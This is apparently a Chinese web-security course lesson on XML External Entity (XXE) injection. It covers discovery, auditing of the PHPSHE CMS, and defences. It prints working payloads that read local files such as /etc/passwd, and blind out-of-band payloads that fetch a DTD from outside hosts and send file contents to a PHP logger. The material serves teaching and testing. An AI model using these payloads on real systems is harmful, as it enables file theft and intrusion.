【第59课】XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

知识点:
1、XXE&XML-原理-用途&外实体&安全
2、XXE&XML-黑盒-格式类型&数据类型
3、XXE&XML-白盒-函数审计&回显方案

在这里插入图片描述

详细点:

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。

php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关

XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析

XXE黑盒发现:

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
  • 1

在这里插入图片描述

2、判断对方使用XML来传输数据时,尝试xml语言payload进行测试

在这里插入图片描述
在这里插入图片描述

3、不管获取的Content-Type类型或数据传输类型是否是XML,均可尝试修改为XML格式后提交测试xxe

在这里插入图片描述

4、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)

参考地址:Word文档进行XXE攻击_docx xxe-CSDN博客
在这里插入图片描述

XXE白盒发现:

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案:

方案1-禁用外部实体

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

一、演示案例-XML&XXE-传输-原理&探针&利用&玩法

有回显:

1、读取文件

解释

<?xml version="1.0"?> <!DOCTYPE xiaodi [

    <!ENTITY test SYSTEM "file:///d:/1.txt">

]>

<user><username>&test;</username><password>xiaodi</password></user>

在这里插入图片描述
在这里插入图片描述

2、外部实体引用dtd:

解释

<?xml version="1.0" ?> <!DOCTYPE test [

        <!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd"> %file;

]>

<user><username>&send;</username><password>xiaodi</password></user>

在这里插入图片描述
xxe.dtd

<!ENTITY send SYSTEM "file:///d:/1.txt">

无回显:

3、带外测试

解释

<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file; ]> <user><username>&send;</username><password>xiaodi</password></user>

在这里插入图片描述
在这里插入图片描述
或者不用dnslog,直接在VPS服务器上用python起一个WEB服务,然后看这个有没有请求记录即可。

python -m http.server port
  • 1

在这里插入图片描述

4、无回显读文件(外部实体引用dtd)

解释

<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd"> %remote; %all; ]> <root>&send;</root>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述
在这里插入图片描述
xxe.dtd(真实情况下肯定放在VPS上)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
  • 1

get.php(真实情况下肯定放在VPS上)

解释

<?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗?
可以用php伪协议来绕过呀

php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 1

在这里插入图片描述

解释

<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> <!ENTITY % remote SYSTEM "http://124.221.77.120/xxe.dtd"> %remote; %all; ]> <user><username>&send;</username><password>admin</password></user>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

其他玩法(协议)-见参考地址

https://www.cnblogs.com/20175211lyz/p/11413335.html

二、演示案例-XML&XXE-黑盒-JSON&黑盒测试&类型修改

漏洞URL:http://web.jarvisoj.com:9882/
在这里插入图片描述
更改请求数据格式:Content-Type为xml格式

解释

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>

  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

三、演示案例-XML&XXE-白盒-CMS&PHPSHE&无回显

审计流程:

1、搜索漏洞函数simplexml_load_string
  • 1

在这里插入图片描述

2、pe_getxml函数调用了漏洞函数
  • 1

在这里插入图片描述
在这里插入图片描述

3、wechat_getxml调用了pe_getxml
  • 1

在这里插入图片描述
在这里插入图片描述

4、notify_url.php调用了wechat_getxml
  • 1

在这里插入图片描述

5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试
  • 1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
先尝试读取文件,无回显后带外测试:
在这里插入图片描述

解释

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn"> %file; ]> <root>&send;</root>

在这里插入图片描述
在这里插入图片描述
存在XXE漏洞

然后带外传递数据解决无回显:

解释

<?xml version="1.0"?>

<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root> test.dtd: <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>"> get.php <?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值